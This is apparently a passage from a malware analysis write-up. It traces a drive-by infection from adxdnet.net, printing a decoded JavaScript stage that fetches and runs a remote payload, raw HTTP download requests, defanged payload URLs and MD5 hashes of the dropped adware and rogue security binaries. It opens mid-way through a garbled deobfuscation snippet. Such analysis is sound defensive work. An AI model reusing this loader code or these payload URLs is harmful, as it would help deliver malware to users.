while(bgbl.length < fblk =" bgbl.substring(0,slspc);" blk =" bgbl.substring(0,bgbl.length" blk =" blk" mmy =" new" i =" 0;" nm =" 12;" i =" 0;" nm =" nm" i =" 0;" nm =" nm">

The shellcode execution results in a GET request for hxxp://adxdnet.net/code/srun.php. The domain adxdnet.net is hosted at 85.17.162.100 (same IP as infonews.ath.cx).

The adxdnet.net/code/srun.php request returns obfuscated JavaScript. The image reference for hxxp://fc.webmasterpro.de/as_noscript.php?name=load3 is for tracking purposes.

The decoded script reveals a redirect to adxdnet.net/code/srun.php?req

var xobj, response;
if(window.XMLHttpRequest) { try{ xobj = new XMLHttpRequest(); }catch(e){} }
if(!xobj) { try{ xobj = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e){} }

if(xobj) {
xobj.open("GET", "/code/srun.php?req", false);
xobj.setRequestHeader("Request", "srun");
xobj.send(null);
response = xobj.responseText;
}

if(response.length) {
dec(asas(response), "s", 2);
} else {
self.moveTo(3000, 3000);
self.opener = "opener";
self.close();
}

The adxdnet.net/code/srun.php?req request returns content for additional binary downloads.

GET /code/srun.php?req HTTP/1.1
request: srun
Referer: http://adxdnet.net/code/srun.php
Host: adxdnet.net

Six minutes later, a GET request for ssa.adxdnet.net/get.php?src=xpre occurred. Additional hex-encoded binaries were downloaded over an 8 minute period. Notice the user-agent (WinHttp.WinHttpRequest.5) and Request value: srun.

GET /get.php?src=xpre HTTP/1.1
Request: srun
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32;WinHttp.WinHttpRequest.5)
Host: ssa.adxdnet.net

hxxp://ssa.adxdnet.net/get.php?src=xpre
hxxp://ssa.adxdnet.net/get.php?src=prun
hxxp://ssa.adxdnet.net/get.php?src=wavvsnet
hxxp://ssa.adxdnet.net/get.php?src=snapsnet
hxxp://ssa.adxdnet.net/get.php?src=rasesnet
hxxp://ssa.adxdnet.net/get.php?src=searsnet
hxxp://ssa.adxdnet.net/get.php?src=incasnet
hxxp://ssa.adxdnet.net/get.php?src=winvsnet

The following is an additional request that lacked the WinHttp.WinHttpRequest.5 user-agent.

GET /code/const.php HTTP/1.1
Host: ssa.adxdnet.net

The downloaded malware installs a variety of crapware (rogue security products, adware, etc.)

Filename MD5 Size (Bytes)
data.pdf 84bc91579cd4dbee7faf3ee09c4a9a4b 10179
prun.exe d7512e025c439d8454a742992229770c 34816
rasesnet.exe 423d4daf5374710d4498ed917f44b92a 135168
searsnet.exe 18bd892d291f21f14e660537112bb81c 65024
snapsnet.exe 637146739c0dc4c078e0654e6d77eda1 112378
wavvsnet.exe 602b54e018fe9b226ebf8fd5ebaff09c 40014
winvsnet.exe 279ce5af3638a2ba1fde073bbe73a0c5 54784
xpre.exe 1d032fbc6d6884903fa92889f99fc180 745472